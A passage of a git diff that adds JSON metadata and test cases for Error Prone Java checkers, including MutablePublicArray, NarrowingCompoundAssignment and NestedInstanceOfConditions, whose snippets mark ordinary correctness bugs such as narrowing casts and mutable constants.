"expected-linenumbers": [ + 45 + ], + "code": "import com.google.inject.AbstractModule;\n\n class Test extends AbstractModule {\n // BUG: Diagnostic contains: Object is mutable\n final Object x = new Object();\n }" + }, + { + "description": "negativeFinal", + "expected-problems": null, + "expected-linenumbers": [ + 61 + ], + "code": "import com.google.inject.AbstractModule;\n\n class Test extends AbstractModule {\n final String x = new String();\n }" + }, + { + "description": "negativeNotAModule", + "expected-problems": null, + "expected-linenumbers": [ + 76 + ], + "code": "class Test {\n String x = new String();\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MutablePublicArray.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MutablePublicArray.json new file mode 100644 index 0000000..54682ca --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MutablePublicArray.json @@ -0,0 +1,126 @@ +{ + "name": "MutablePublicArray", + "language": "java", + "description": "Non-empty arrays are mutable, so this `public static final` array is not a constant and can be modified by clients of this class. Prefer an ImmutableList, or provide an accessor method that returns a defensive copy.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 72, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "publicStaticFinalPrimitive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n // BUG: Diagnostic contains: MutablePublicArray\n public static final int[] array = new int[10];\n }" + }, + { + "description": "publicStaticFinalInlineInitializer", + "expected-problems": null, + "expected-linenumbers": [ + 45 + ], + "code": "class Test {\n // BUG: Diagnostic contains: MutablePublicArray\n public static final String[] array = {\"foo\", \"bar\"};\n }" + }, + { + "description": "publicStaticFinalObject", + "expected-problems": null, + "expected-linenumbers": [ + 59 + ], + "code": "class Test {\n // BUG: Diagnostic contains: MutablePublicArray\n public static final Test[] array = new Test[10];\n }" + }, + { + "description": "publicStaticFinalObjectMultiDimension", + "expected-problems": null, + "expected-linenumbers": [ + 73 + ], + "code": "class Test {\n // BUG: Diagnostic contains: MutablePublicArray\n public static final Test[][] array = new Test[10][10];\n }" + }, + { + "description": "privateStaticFinal_negative", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "class Test {\n private static final int[] array = new int[10];\n }" + }, + { + "description": "privateStaticFinalEmptyInlineInitializer_negative", + "expected-problems": null, + "expected-linenumbers": [ + 100 + ], + "code": "class Test {\n public static final String[] array = {};\n }" + }, + { + "description": "privateFinal_negative", + "expected-problems": null, + "expected-linenumbers": [ + 113 + ], + "code": "class Test {\n private final int[] array = new int[10];\n }" + }, + { + "description": "staticFinal_negative", + "expected-problems": null, + "expected-linenumbers": [ + 126 + ], + "code": "class Test {\n static final int[] array = new int[10];\n }" + }, + { + "description": "zeroSizeOneDimensionArray_negative", + "expected-problems": null, + "expected-linenumbers": [ + 139 + ], + "code": "class Test {\n public static final int[] array = new int[0];\n }" + }, + { + "description": "zeroSizeMultiDimensionArray_negative", + "expected-problems": null, + "expected-linenumbers": [ + 152 + ], + "code": "class Test {\n public static final int[][] array = new int[0][0];\n }" + }, + { + "description": "negative_datapoints", + "expected-problems": null, + "expected-linenumbers": [ + 165 + ], + "code": "import org.junit.experimental.theories.DataPoints;\n\n class Test {\n @DataPoints public static final int[] array = new int[10];\n }" + }, + { + "description": "publicStaticFinalStaticInitializeBlock", + "expected-problems": null, + "expected-linenumbers": [ + 180 + ], + "code": "class Test {\n public static final long[] l;\n\n static {\n l = new long[1];\n }\n }" + }, + { + "description": "notAnArray", + "expected-problems": null, + "expected-linenumbers": [ + 197 + ], + "code": "class Test {\n // BUG: Diagnostic contains: MutablePublicArray\n public static final long[] y = {0};\n public static final long[] l = y;\n }" + }, + { + "description": "i1645", + "expected-problems": null, + "expected-linenumbers": [ + 212 + ], + "code": "class Test {\n public static final int zero = 0;\n public static final int one = 1;\n public static final long[] z1 = new long[zero];\n public static final long[][] z2 = new long[zero][zero];\n // BUG: Diagnostic contains: MutablePublicArray\n public static final long[] o1 = new long[one];\n // BUG: Diagnostic contains: MutablePublicArray\n public static final long[][] o2 = new long[one][zero];\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NCopiesOfChar.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NCopiesOfChar.json new file mode 100644 index 0000000..b30afba --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NCopiesOfChar.json @@ -0,0 +1,30 @@ +{ + "name": "NCopiesOfChar", + "language": "java", + "description": "The first argument to nCopies is the number of copies, and the second is the item to copy", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.util.Collections;\n\n class Test {\n {\n // BUG: Diagnostic contains: nCopies(10, ' ');\n Collections.nCopies(' ', 10);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "import java.util.Collections;\n\n class Test {\n {\n Collections.nCopies(10, ' ');\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NamedLikeContextualKeyword.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NamedLikeContextualKeyword.json new file mode 100644 index 0000000..568478a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NamedLikeContextualKeyword.json @@ -0,0 +1,118 @@ +{ + "name": "NamedLikeContextualKeyword", + "language": "java", + "description": "Avoid naming of classes and methods that is similar to contextual keywords. When invoking such a method, qualify it.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 133, + "branches": 12, + "apis": 1, + "test": [ + { + "description": "instanceMethodName_error", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n static Throwable foo;\n\n public Test() {}\n\n // BUG: Diagnostic contains: [NamedLikeContextualKeyword]\n public void yield() {\n foo = new NullPointerException(\"uh oh\");\n }\n }" + }, + { + "description": "staticMethodName_error", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "class Test {\n static Throwable foo;\n\n public Test() {}\n\n // BUG: Diagnostic contains: [NamedLikeContextualKeyword]\n public static void yield() {\n foo = new NullPointerException(\"uh oh\");\n }\n }" + }, + { + "description": "autoOneOfMethodName_noError", + "expected-problems": null, + "expected-linenumbers": [ + 71 + ], + "code": "import javax.annotation.processing.Generated;\n\n @Generated(\"com.google.auto.value.processor.AutoOneOfProcessor\")\n class Test {\n static Throwable foo;\n\n public Test() {}\n\n public static void yield() {\n foo = new NullPointerException(\"uh oh\");\n }\n }" + }, + { + "description": "autoValueMethodName_noError", + "expected-problems": null, + "expected-linenumbers": [ + 93 + ], + "code": "import javax.annotation.processing.Generated;\n\n @Generated(\"com.google.auto.value.processor.AutoValueProcessor\")\n class Test {\n static Throwable foo;\n\n public Test() {}\n\n public static void yield() {\n foo = new NullPointerException(\"uh oh\");\n }\n }" + }, + { + "description": "generatedButNotAuto_error", + "expected-problems": null, + "expected-linenumbers": [ + 115 + ], + "code": "import javax.annotation.processing.Generated;\n\n @Generated(\"com.google.foo.Bar\")\n class Test {\n static Throwable foo;\n\n public Test() {}\n\n // BUG: Diagnostic contains: [NamedLikeContextualKeyword]\n public static void yield() {\n foo = new NullPointerException(\"uh oh\");\n }\n }" + }, + { + "description": "className_error", + "expected-problems": null, + "expected-linenumbers": [ + 138 + ], + "code": "// BUG: Diagnostic contains: [NamedLikeContextualKeyword]\n class module {\n public module() {}\n }" + }, + { + "description": "yieldInSwitch_noError", + "expected-problems": null, + "expected-linenumbers": [ + 152 + ], + "code": "class Test {\n public Test(int foo) {\n int x =\n switch (foo) {\n case 17:\n yield 17;\n default:\n yield 0;\n };\n }\n }" + }, + { + "description": "interfaceImplementation_noError", + "expected-problems": null, + "expected-linenumbers": [ + 173 + ], + "code": "class Test implements RegrettablyNamedInterface {\n static Throwable foo;\n\n public Test() {}\n\n public void yield() {\n foo = new NullPointerException(\"uh oh\");\n }\n }\n \n\n interface RegrettablyNamedInterface {\n @SuppressWarnings(\"NamedLikeContextualKeyword\")\n void yield();\n }" + }, + { + "description": "nonAnnotatedOverride_noError", + "expected-problems": null, + "expected-linenumbers": [ + 200 + ], + "code": "class Test extends RegrettablyNamedClass {\n static Throwable foo;\n\n public Test() {}\n\n public void yield() {\n foo = new NullPointerException(\"uh oh\");\n }\n }\n \n\n class RegrettablyNamedClass {\n @SuppressWarnings(\"NamedLikeContextualKeyword\")\n void yield() {}\n }" + }, + { + "description": "annotatedOverride_noError", + "expected-problems": null, + "expected-linenumbers": [ + 227 + ], + "code": "class Test extends RegrettablyNamedClass {\n static Throwable foo;\n\n public Test() {}\n\n @Override\n public void yield() {\n foo = new NullPointerException(\"uh oh\");\n }\n }\n \n\n class RegrettablyNamedClass {\n @SuppressWarnings(\"NamedLikeContextualKeyword\")\n void yield() {}\n }" + }, + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 255 + ], + "code": "" + }, + { + "description": "enclosing", + "expected-problems": null, + "expected-linenumbers": [ + 272 + ], + "code": "" + }, + { + "description": "staticMethod", + "expected-problems": null, + "expected-linenumbers": [ + 295 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NarrowCalculation.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NarrowCalculation.json new file mode 100644 index 0000000..66ae06e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NarrowCalculation.json @@ -0,0 +1,78 @@ +{ + "name": "NarrowCalculation", + "language": "java", + "description": "This calculation may lose precision compared to its target type.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 143, + "branches": 14, + "apis": 2, + "test": [ + { + "description": "integerDivision", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "class Test {\n // BUG: Diagnostic contains:\n final float a = 1 / 2;\n }" + }, + { + "description": "integerDivision_actuallyInteger", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "class Test {\n final float a = 8 / 2;\n }" + }, + { + "description": "integerDivision_fix", + "expected-problems": null, + "expected-linenumbers": [ + 61 + ], + "code": "class Test {\n final float a = 1 / 2;\n }\n \n\n class Test {\n final float a = 1 / 2f;\n }" + }, + { + "description": "longDivision_fix", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "class Test {\n final double a = 1 / 2L;\n }\n \n\n class Test {\n final double a = 1 / 2.0;\n }" + }, + { + "description": "targetTypeInteger_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 101 + ], + "code": "class Test {\n final int a = 1 / 2;\n }" + }, + { + "description": "multiplication_doesNotOverflow", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "class Test {\n final long a = 2 * 100;\n }" + }, + { + "description": "multiplication_wouldOverflow", + "expected-problems": null, + "expected-linenumbers": [ + 127 + ], + "code": "class Test {\n // BUG: Diagnostic contains:\n final long a = 1_000_000_000 * 1_000_000_000;\n }" + }, + { + "description": "multiplication_couldOverflow", + "expected-problems": null, + "expected-linenumbers": [ + 141 + ], + "code": "class Test {\n void t(int a) {\n // BUG: Diagnostic contains: 2L * a\n long b = 2 * a;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NarrowingCompoundAssignment.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NarrowingCompoundAssignment.json new file mode 100644 index 0000000..019fdf0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NarrowingCompoundAssignment.json @@ -0,0 +1,358 @@ +{ + "name": "NarrowingCompoundAssignment", + "language": "java", + "description": "Compound assignments may hide dangerous casts", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 155, + "branches": 44, + "apis": 3, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "class Test {\n void m() {\n short s = 0;\n char t = 0;\n byte u = 0;\n float v = 0;\n // BUG: Diagnostic contains: s = (short) (s * 1)\n s *= 1;\n // BUG: Diagnostic contains: t = (char) (t * 1)\n t *= 1;\n // BUG: Diagnostic contains: u = (byte) (u * 1)\n u *= 1;\n // BUG: Diagnostic contains: u = (byte) (u * 1L)\n u *= 1L;\n // BUG: Diagnostic contains: v = (float) (v * 1.0)\n v *= 1.0;\n // BUG: Diagnostic contains: v = (float) (v * 1.0d)\n v *= 1.0d;\n }\n }" + }, + { + "description": "allOps", + "expected-problems": null, + "expected-linenumbers": [ + 62 + ], + "code": "class Test {\n void m() {\n short s = 0;\n // BUG: Diagnostic contains: s = (short) (s * 1)\n s *= 1;\n // BUG: Diagnostic contains: s = (short) (s / 1)\n s /= 1;\n // BUG: Diagnostic contains: s = (short) (s % 1)\n s %= 1;\n // BUG: Diagnostic contains: s = (short) (s + 1)\n s += 1;\n // BUG: Diagnostic contains: s = (short) (s - 1)\n s -= 1;\n // BUG: Diagnostic contains: s = (short) (s << 1)\n s <<= 1;\n // Signed right shifts are OK\n s >>= 1;\n // BUG: Diagnostic contains: s = (short) (s >>> 1)\n s >>>= 1;\n }\n }" + }, + { + "description": "deficientRightShift", + "expected-problems": null, + "expected-linenumbers": [ + 93 + ], + "code": "class Test {\n void m() {\n // BUG: Diagnostic contains: i = (short) (i >>> 1)\n for (short i = -1; i != 0; i >>>= 1)\n ;\n }\n }" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 110 + ], + "code": "class Test {\n void m() {\n int s = 0;\n long t = 0;\n double u = 0;\n s *= 1;\n t *= 1;\n u *= 1;\n }\n }" + }, + { + "description": "floatFloat", + "expected-problems": null, + "expected-linenumbers": [ + 130 + ], + "code": "class Test {\n void m() {\n float a = 0;\n float b = 0;\n Float c = Float.valueOf(0);\n a += b;\n a += c;\n }\n }" + }, + { + "description": "bitTwiddle", + "expected-problems": null, + "expected-linenumbers": [ + 150 + ], + "code": "class Test {\n void m() {\n short smask = 0b1;\n byte bmask = 0b1;\n\n short s = 0;\n byte b = 0;\n\n s &= smask;\n s |= smask;\n s ^= smask;\n\n s &= bmask;\n s |= bmask;\n s ^= bmask;\n\n b &= bmask;\n b |= bmask;\n b ^= bmask;\n }\n }" + }, + { + "description": "bitTwiddleConstant", + "expected-problems": null, + "expected-linenumbers": [ + 182 + ], + "code": "class Test {\n void m() {\n short s = 0;\n byte b = 0;\n\n s &= ~1;\n s |= 1;\n s ^= 1;\n\n b &= ~1;\n b |= 1;\n b ^= 1;\n\n b |= 128;\n b &= 128;\n b ^= 128;\n b |= 1L;\n b &= 1L;\n b ^= 1L;\n\n // BUG: Diagnostic contains: b = (byte) (b | 256)\n b |= 256;\n // BUG: Diagnostic contains: b = (byte) (b & ~256)\n b &= ~256;\n // BUG: Diagnostic contains: b = (byte) (b ^ 256)\n b ^= 256;\n }\n }" + }, + { + "description": "allowsBinopsOfDeficientTypes", + "expected-problems": null, + "expected-linenumbers": [ + 220 + ], + "code": "class Test {\n void m() {\n short smask = 0b1;\n byte bmask = 0b1;\n\n short s = 0;\n byte b = 0;\n\n s += smask;\n s -= smask;\n s *= smask;\n\n s += bmask;\n s -= bmask;\n s *= bmask;\n\n b -= bmask;\n b += bmask;\n b /= bmask;\n }\n }" + }, + { + "description": "preservePrecedence", + "expected-problems": null, + "expected-linenumbers": [ + 251 + ], + "code": "class Test {\n void m() {\n float f = 0;\n // BUG: Diagnostic contains: f = (float) (f - (3.0 - 2.0))\n f -= 3.0 - 2.0;\n }\n }" + }, + { + "description": "preservePrecedence2", + "expected-problems": null, + "expected-linenumbers": [ + 268 + ], + "code": "class Test {\n void m() {\n float f = 0;\n // BUG: Diagnostic contains: f = (float) (f - 3.0 * 2.0)\n f -= 3.0 * 2.0;\n }\n }" + }, + { + "description": "preservePrecedence3", + "expected-problems": null, + "expected-linenumbers": [ + 285 + ], + "code": "class Test {\n void m() {\n float f = 0;\n // BUG: Diagnostic contains: f = (float) (f - (3.0 > 0 ? 1.0 : 2.0))\n f -= 3.0 > 0 ? 1.0 : 2.0;\n }\n }" + }, + { + "description": "preservePrecedenceExhaustive_multMult", + "expected-problems": null, + "expected-linenumbers": [ + 302 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_multPlus", + "expected-problems": null, + "expected-linenumbers": [ + 307 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_multLShift", + "expected-problems": null, + "expected-linenumbers": [ + 312 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_multAnd", + "expected-problems": null, + "expected-linenumbers": [ + 317 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_multOr", + "expected-problems": null, + "expected-linenumbers": [ + 322 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_plusMult", + "expected-problems": null, + "expected-linenumbers": [ + 327 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_plusPlus", + "expected-problems": null, + "expected-linenumbers": [ + 332 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_plusLShift", + "expected-problems": null, + "expected-linenumbers": [ + 337 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_plusAnd", + "expected-problems": null, + "expected-linenumbers": [ + 342 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_plusOr", + "expected-problems": null, + "expected-linenumbers": [ + 347 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_lShiftMult", + "expected-problems": null, + "expected-linenumbers": [ + 352 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_lShiftPlus", + "expected-problems": null, + "expected-linenumbers": [ + 357 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_lShiftLShift", + "expected-problems": null, + "expected-linenumbers": [ + 362 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_lShiftAnd", + "expected-problems": null, + "expected-linenumbers": [ + 367 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_lShiftOr", + "expected-problems": null, + "expected-linenumbers": [ + 372 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_andMult", + "expected-problems": null, + "expected-linenumbers": [ + 377 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_andPlus", + "expected-problems": null, + "expected-linenumbers": [ + 383 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_andLShift", + "expected-problems": null, + "expected-linenumbers": [ + 388 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_andAnd", + "expected-problems": null, + "expected-linenumbers": [ + 393 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_andOr", + "expected-problems": null, + "expected-linenumbers": [ + 398 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_orMult", + "expected-problems": null, + "expected-linenumbers": [ + 403 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_orPlus", + "expected-problems": null, + "expected-linenumbers": [ + 408 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_orLShift", + "expected-problems": null, + "expected-linenumbers": [ + 413 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_orAnd", + "expected-problems": null, + "expected-linenumbers": [ + 418 + ], + "code": "" + }, + { + "description": "preservePrecedenceExhaustive_orOr", + "expected-problems": null, + "expected-linenumbers": [ + 423 + ], + "code": "" + }, + { + "description": "doubleLong", + "expected-problems": null, + "expected-linenumbers": [ + 450 + ], + "code": "class Test {\n void m() {\n long a = 1;\n double b = 2;\n // BUG: Diagnostic contains: Compound assignments from double to long\n a *= b;\n }\n }" + }, + { + "description": "doubleInt", + "expected-problems": null, + "expected-linenumbers": [ + 468 + ], + "code": "class Test {\n void m() {\n int a = 1;\n double b = 2;\n // BUG: Diagnostic contains: Compound assignments from double to int\n a *= b;\n }\n }" + }, + { + "description": "floatLong", + "expected-problems": null, + "expected-linenumbers": [ + 486 + ], + "code": "class Test {\n void m() {\n long a = 1;\n float b = 2;\n // BUG: Diagnostic contains: Compound assignments from float to long\n a *= b;\n }\n }" + }, + { + "description": "floatInt", + "expected-problems": null, + "expected-linenumbers": [ + 504 + ], + "code": "class Test {\n void m() {\n int a = 1;\n float b = 2;\n // BUG: Diagnostic contains: Compound assignments from float to int\n a *= b;\n }\n }" + }, + { + "description": "exhaustiveTypes", + "expected-problems": null, + "expected-linenumbers": [ + 522 + ], + "code": "class Test {\n void f(short s, byte b, char c, int i, long l, float f, double d) {\n s += s;\n s += b;\n // BUG: Diagnostic contains:\n s += c;\n // BUG: Diagnostic contains:\n s += i;\n // BUG: Diagnostic contains:\n s += l;\n // BUG: Diagnostic contains:\n s += f;\n // BUG: Diagnostic contains:\n s += d;\n // BUG: Diagnostic contains:\n b += s;\n b += b;\n // BUG: Diagnostic contains:\n b += c;\n // BUG: Diagnostic contains:\n b += i;\n // BUG: Diagnostic contains:\n b += l;\n // BUG: Diagnostic contains:\n b += f;\n // BUG: Diagnostic contains:\n b += d;\n // BUG: Diagnostic contains:\n c += s;\n // BUG: Diagnostic contains:\n c += b;\n c += c;\n // BUG: Diagnostic contains:\n c += i;\n // BUG: Diagnostic contains:\n c += l;\n // BUG: Diagnostic contains:\n c += f;\n // BUG: Diagnostic contains:\n c += d;\n i += s;\n i += b;\n i += c;\n i += i;\n // BUG: Diagnostic contains:\n i += l;\n // BUG: Diagnostic contains:\n i += f;\n // BUG: Diagnostic contains:\n i += d;\n l += s;\n l += b;\n l += c;\n l += i;\n l += l;\n // BUG: Diagnostic contains:\n l += f;\n // BUG: Diagnostic contains:\n l += d;\n f += s;\n f += b;\n f += c;\n f += i;\n f += l;\n f += f;\n // BUG: Diagnostic contains:\n f += d;\n d += s;\n d += b;\n d += c;\n d += i;\n d += l;\n d += f;\n d += d;\n }\n }" + }, + { + "description": "boxing", + "expected-problems": null, + "expected-linenumbers": [ + 608 + ], + "code": "class Test {\n void m() {\n int a = 1;\n // BUG: Diagnostic contains: from Long to int\n a += (Long) 0L;\n }\n }" + }, + { + "description": "stringConcat", + "expected-problems": null, + "expected-linenumbers": [ + 625 + ], + "code": "class Test {\n void m() {\n String a = \"\";\n a += (char) 0;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NegativeBoolean.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NegativeBoolean.json new file mode 100644 index 0000000..f79c0b9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NegativeBoolean.json @@ -0,0 +1,54 @@ +{ + "name": "NegativeBoolean", + "language": "java", + "description": "Prefer positive boolean names", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 51, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "prefix_no_isFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "class Test {\n void foo() {\n // BUG: Diagnostic contains: Prefer positive\n boolean noBar;\n }\n }" + }, + { + "description": "prefix_not_isFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 46 + ], + "code": "class Test {\n void foo() {\n // BUG: Diagnostic contains: Prefer positive\n boolean notBar;\n }\n }" + }, + { + "description": "prefix_notable_isNotFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 62 + ], + "code": "class Test {\n void foo() {\n boolean notableBar;\n }\n }" + }, + { + "description": "integer_isNotFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 77 + ], + "code": "class Test {\n void foo() {\n int notBar;\n }\n }" + }, + { + "description": "parameter_isNotFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 92 + ], + "code": "class Test {\n void foo(boolean notBar) {\n return;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NegativeCharLiteral.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NegativeCharLiteral.json new file mode 100644 index 0000000..164fe0e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NegativeCharLiteral.json @@ -0,0 +1,78 @@ +{ + "name": "NegativeCharLiteral", + "language": "java", + "description": "Casting a negative signed literal to an (unsigned) char might be misleading.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "positive_literalNegativeOne", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n // BUG: Diagnostic contains: 'char x = Character.MAX_VALUE;'\n char x = (char) -1;\n }" + }, + { + "description": "positive_literalNegativeTwo", + "expected-problems": null, + "expected-linenumbers": [ + 45 + ], + "code": "class Test {\n // BUG: Diagnostic contains: 'char x = Character.MAX_VALUE - 1;'\n char x = (char) -2;\n }" + }, + { + "description": "positive_literalOneLessThanMultipleOf65536", + "expected-problems": null, + "expected-linenumbers": [ + 59 + ], + "code": "class Test {\n // BUG: Diagnostic contains: 'char x = Character.MAX_VALUE;'\n char x = (char) -65537;\n }" + }, + { + "description": "positive_longLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 73 + ], + "code": "class Test {\n // BUG: Diagnostic contains: 'char x = Character.MAX_VALUE;'\n char x = (char) -1L;\n }" + }, + { + "description": "positive_multipleOverflow", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "class Test {\n // BUG: Diagnostic contains: 'char x = Character.MAX_VALUE - 38527;'\n char x = (char) -10000000;\n }" + }, + { + "description": "negative_zeroLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 101 + ], + "code": "class Test {\n char x = (char) 0;\n }" + }, + { + "description": "negative_positiveLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "class Test {\n char x = (char) 1;\n }" + }, + { + "description": "negative_castToTypeNotChar", + "expected-problems": null, + "expected-linenumbers": [ + 127 + ], + "code": "class Test {\n int x = (int) -1;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NestedInstanceOfConditions.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NestedInstanceOfConditions.json new file mode 100644 index 0000000..223e4c6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NestedInstanceOfConditions.json @@ -0,0 +1,38 @@ +{ + "name": "NestedInstanceOfConditions", + "language": "java", + "description": "Nested instanceOf conditions of disjoint types create blocks of code that never execute", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 114, + "branches": 13, + "apis": 5, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author mariasam@google.com (Maria Sam)\n * @author sulku@google.com (Marsela Sulku)\n */\n public class NestedInstanceOfConditionsPositiveCases {\n\n public static void nestedInstanceOfPost() {\n Object foo = new ClassA();\n Object bar = new ClassB();\n\n // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types\n if (foo instanceof ClassA) {\n if (foo instanceof ClassB) {\n System.out.println(\"test\");\n }\n }\n\n // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types\n if (foo instanceof ClassA) {\n System.out.println(\"test\");\n if (foo instanceof ClassB) {\n System.out.println(\"test\");\n }\n System.out.println(\"test\");\n }\n\n // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types\n if (foo instanceof ClassA) {\n // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types\n if (foo instanceof ClassA) {\n if (foo instanceof ClassB) {\n System.out.println(\"test\");\n }\n }\n }\n\n // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types\n if (foo instanceof ClassA) {\n // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types\n if (foo instanceof ClassB) {\n if (foo instanceof ClassC) {\n System.out.println(\"test\");\n }\n }\n }\n\n // BUG: Diagnostic contains: Nested instanceOf conditions\n if (foo instanceof ClassA) {\n if (bar instanceof ClassB) {\n if (foo instanceof ClassC) {\n System.out.println(\"test\");\n }\n }\n }\n\n if (foo instanceof ClassA) {\n System.out.println(\"yay\");\n // BUG: Diagnostic contains: Nested instanceOf conditions\n } else if (foo instanceof ClassB) {\n if (foo instanceof ClassC) {\n System.out.println(\"uh oh\");\n }\n }\n }\n\n static class ClassA {}\n\n static class ClassB {}\n\n static class ClassC {}\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 119 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * @author mariasam@google.com (Maria Sam)\n * @author sulku@google.com (Marsela Sulku)\n */\npublic class NestedInstanceOfConditionsNegativeCases {\n public static void nestedInstanceOfPositiveCases() {\n Object objectA = new Object();\n Object objectB = new Object();\n\n // different objects\n if (objectA instanceof SuperClass) {\n if (objectB instanceof DisjointClass) {\n System.out.println(\"yay\");\n }\n }\n\n // nested if checks to see if subtype of first\n if (objectA instanceof SuperClass) {\n if (objectA instanceof SubClass) {\n System.out.println(\"yay\");\n }\n }\n\n if (objectA instanceof SuperClass) {\n if (objectA instanceof SubClass) {\n if (objectB instanceof DisjointClass) {\n System.out.println(\"yay\");\n }\n }\n }\n\n if (objectA instanceof SuperClass) {\n if (objectB instanceof DisjointClass) {\n if (objectA instanceof SubClass) {\n System.out.println(\"yay\");\n }\n }\n }\n\n if (objectA instanceof SuperClass) {\n System.out.println(\"yay\");\n } else if 